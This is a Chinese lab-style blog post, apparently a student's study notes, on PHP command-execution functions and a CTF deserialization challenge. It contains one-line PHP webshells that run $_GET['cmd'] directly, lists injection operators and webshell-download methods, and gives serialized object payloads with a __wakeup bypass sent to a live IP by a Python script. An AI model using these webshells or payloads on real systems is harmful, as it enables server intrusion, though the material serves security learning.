惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

GbyAI
GbyAI
阮一峰的网络日志
阮一峰的网络日志
C
Check Point Blog
Stack Overflow Blog
Stack Overflow Blog
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
酷 壳 – CoolShell
酷 壳 – CoolShell
M
MIT News - Artificial intelligence
L
LangChain Blog
Microsoft Azure Blog
Microsoft Azure Blog
博客园 - Franky
WordPress大学
WordPress大学
博客园_首页
Y
Y Combinator Blog
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
V
Visual Studio Blog
L
LINUX DO - 最新话题
S
Security @ Cisco Blogs
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Help Net Security
Help Net Security
大猫的无限游戏
大猫的无限游戏
Hugging Face - Blog
Hugging Face - Blog
The GitHub Blog
The GitHub Blog
Schneier on Security
Schneier on Security
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
U
Unit 42
Jina AI
Jina AI
雷峰网
雷峰网
罗磊的独立博客
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
博客园 - 【当耐特】
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
人人都是产品经理
人人都是产品经理
Microsoft Security Blog
Microsoft Security Blog
V
V2EX
N
News and Events Feed by Topic
V2EX - 技术
V2EX - 技术
宝玉的分享
宝玉的分享
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
Hacker News - Newest:
Hacker News - Newest: "LLM"
P
Proofpoint News Feed
N
Netflix TechBlog - Medium
Martin Fowler
Martin Fowler
O
OpenAI News
P
Proofpoint News Feed
H
Help Net Security
S
Securelist
Vercel News
Vercel News
Hacker News: Ask HN
Hacker News: Ask HN
博客园 - 三生石上(FineUI控件)

卷卷

今日说法 节目汇总笔记 《斯坦福大学人生设计课》读书笔记 我的书单📖 H-worm (VBS蠕虫) 感染事件溯源分析报告 AMOS (Atomic Stealer) 恶意软件深度分析 银狐26年全面复活,对抗强度或已超25年最高水平 Atomic Stealer (AMOS) 回归:ClickFix、伪装加密货币应用与新型 macOS 持久化机制 关于xt.exe的分析报告 仿真钓鱼页面窃取用户凭证 GitHub Pages配置Cloudflare CDN踩坑之路 推荐RSS热力图和Github热力图使用指南 学习逆向工程相关概念 zabbix快速上手 学习python高级语法特性例题笔记 学习云计算基本理论学习笔记 学习Docker-Compose命令及镜像构建与推送 ATT &CK 框架实践阅读笔记 rundll32.exe恶意加载DLL文件外联 《悉达多》读书笔记 《稀缺》读书笔记 《认知觉醒》读书笔记 《营养学》读书笔记 《心理学》读书笔记 热💖生活 C++开发环境配置与程序运行笔记 IDA Free调试Hello World笔记 逆向免杀 Admin.canway账号命名方式 BAS - Breach and Attack Simulation Windows核心系统进程链与svchost深度解析 企业测试环境的弱口令需要整改吗 AI对话笔记-模板 网络安全行业招聘需求与技术能力分析 银狐木马技术原理分析与检测技术 SIEM-安全信息和事件管理 AI笔记 转载 专业备考⏳ 其他杂项🧶 Markdown 原生图片 知道创宇技能表 Prompt越狱手册 deepseek使用指南 清华大学 deepseek提问方法 markdown基本语法 数据湖:它们是什么?为什么您的组织需要一个? GitHub Codespaces velociraptor(迅猛龙)快速上手 学习windows快捷命令 学习常用 150 个Linux命令 软考中的一些概念 学习ssh基本使用 Linux系统换源输入法和包管理器 DC-8靶机 Metasploitable3下载与安装 信息收集方法及流程 防守之道 开发运维 免责声明 密码喷射攻击:防范攻击你需要知道的事项 密码学中的哈希解释:它的工作原理、算法和实际用途 应急响应术语 各种报错积累 漏洞挖掘思路 收藏夹 RDP和360星图使用 windows入侵排查 Linux入侵排查 Redis日志分析 Linux安全加固 windows安全加固 windows日志ID速查 中间件加固 数据库安全加固 windows系统提权 MySQL注入复盘 学习git版本控制工具的概念与命令 学习Web Shell 学习Linux命令 java环境配置 学习python基础语法特性解题笔记 学习Mysql基础知识 windows权限维持 学习网络及安全的一些术语 PHP代码审计 Linux系统提权 MSSQL注入复盘 Linux权限维持 逻辑漏洞 upload-labs 框架漏洞 学习PHP语法特性 XXE&SSRF CSRF 文件上传 Google Hacking XSS-lab XSS实验 学习URL请求后的通信过程 FOFA
命令执行和反序列化
卷卷 · 2023-07-09 · via 卷卷

目标:
1、熟悉整理命令执行漏洞各函数的使用方法和条件,总结命令执行漏洞的利用方法
2、熟悉PHP反序列化漏洞魔法函数的触发过程,了解pop链的拓展内容后,完成ctf.php

命令执行函数使用条件

在PHP.ini文件中没有被禁用

disable_functions = passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv;

将上方PHP需要使用的函数删除即可,否则:

image

解禁后即可执行。

image

命令执行漏洞的本质

应用有时需要调用一些执行系统命令的函数,当服务器没有严格过滤用户提供的参数时,就有可能导致用户提交恶意代码被服务器执行,从而造成命令执行漏洞。

命令执行函数的利用

  • system()

    返回全部,有回显

    <meta charset="gb2312">
    <?php
    if(isset($_GET['cmd'])){
        echo "<pre>";
        system($_GET['cmd']);
    }
    ?>

    image

  • exec()

    返回一行,无回显

    <meta charset="gb2312">
    <?php 
    if(isset($_GET['cmd'])){
        echo "<pre>";
        print exec($_GET['cmd']);
    }
    ?>

    image

  • shell_exec()

    返回全部,无回显。

    <meta charset="gb2312">
    <?php
    if(isset($_GET['cmd'])){
        echo "<pre>";
        print shell_exec($_GET['cmd']);
    }
    ?>

    image

  • passthru()

    返回全部,有回显

    <meta charset="gb2312">
    <?php
    if(isset($_GET['cmd'])){
    	echo "<pre>";
        passthru($_GET['cmd']);
    }
    ?>

    image

  • popen()

    返回全部,无回显。可写入文件。

    <meta charset="gb2312">
    <?php 
    if(isset($_GET['cmd'])){
        $cmd=$_GET['cmd'].">> doueifyshbqjipqwdeoubdjoswdjeishu.txt";
        popen($cmd,'r');
    }
    ?>

    image

    image

  • ``反引号

    有返回全部,无回显

    <meta charset="gb2312">
    <?php
    if(isset($_GET['cmd'])){
        $cmd=$_GET['cmd'];
        print `$cmd`;
    }
    ?>

    image

利用方法

  1. 直接命令注入

    • 通过构造恶意的输入参数,直接注入系统命令。例如,在Web表单中输入whoami​等命令.
    • 利用管道符(如|​、&​、&&​、||​等)将多个命令串联起来执行
  2. 上传Webshell

    • 利用命令执行漏洞上传Webshell(一种后门程序),以便后续持续控制目标系统。
    • 常见的上传方法包括使用wget/curl等工具下载Webshell到目标系统,或直接通过构造恶意请求将Webshell文件上传到目标目录。
  3. 执行恶意脚本

    • 在某些情况下,攻击者可以通过命令执行漏洞执行恶意脚本(如Python、Bash脚本等),以获取更高级别的权限或执行更复杂的攻击。
  4. 信息泄露与破坏

    • 攻击者可以利用命令执行漏洞获取系统或应用程序的敏感信息,密码、用户账号、数据库。
    • 还可以利用该漏洞对目标系统进行数据破坏,如删除文件、破坏数据库等。

运算符

符号Windows环境Linux环境
&无论第一个是否成功都执行第二个前面的创建进程后台执行
&&顺序执行,第一个成功执行第二个--同windows
|管道符,第一个输出作为第二个输入--同windows
||顺序执行,第一个失败才执行第二个--同windows
-顺序执行,不管成功没,都执行。

魔法函数

函数说明
__destruct()当对象销毁时会调用此方法
__construct()对象初始化时会调用此方法
__sleep()当调用searialize()方法时调用
__wakeup()当调用unsearizlie()方法时调用
__call($method, $args)调用对象方法不存在或不允许被调用时此方法会被调用
__callStatic($method, $args)调用对象的静态方法不存在或不允许被调用时此方法会被调用
<?php
$flag="pussy best!!!!";
error_reporting(0);
class Name{  //Name类
    private $username = 'nonono';   //此处为private私有属性
    private $password = 'yesyes';

public function __construct($username,$password){    //__construct对象被创建时被调用
    $this->username = $username;
    $this->password = $password;
}
function __wakeup(){    // __wakeup在函数unserialize()执行反序列化时被调用
    $this->username = 'guest';  
}
function __destruct(){
    if ($this->password != 100) {
        echo "</br>NO!!!hacker!!!</br>";
        echo "You name is: ";
        echo $this->username;echo "</br>";
        echo "You password is: ";
        echo $this->password;echo "</br>";
        die();
    }
    if ($this->username === 'admin') {
        global $flag;
        echo $flag;
    }else{
        echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
        die();
   }
 }
}
$select = $_GET['select'];   
$res=unserialize(@$select);     //unserialize()执行反序列化
/*
class Name{
    private $username='admin';
    private $password=100;
}
$a=new Name();
var_dump(serialize($a));*/
?>

解题思路:

  1. 执行反序列化时创建对象,此时__construct()被调用,序列化的值被传入用于创建对象(实例化对象的序列化值要符合要求,所以要区分public、protected与private在序列化时的区别)。
  2. __wakeup在函数unserialize()执行反序列化时被调用,username被赋值guest,很显然不能被赋值,所以要跳过__wakeup的执行。

protected的序列化

声明的字段为保护字段,在所声明的类和该类的子类中可见,保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码值为 0 的转义字符(不可见字符),而不是 \0 组合。

public function __construct($username,$password){
    	$this->username = $username;
        $this->password = $password;
    }
payload:O:4:"Name":2:{s:11:"\0*\0username";s:5:"admin";s:11:"\0*\0password";i:100;}

private的序列化

声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。且 \0 字符也是计算长度的。

 public function __construct($username,$password){
    	$this->username = $username;
        $this->password = $password;
    }
payload:O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

__wakeup()方法绕过

当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行

序列化后payload: O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

绕过wakeup: O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

\0 表示 ASCII 码值为 0 的转义字符所以使用浏览器发送,使用python请求如下:

import  requests
url ="http://47.113.187.190:90/ctf.php/"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)

image

http://47.113.187.190:90/ctf.php?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

image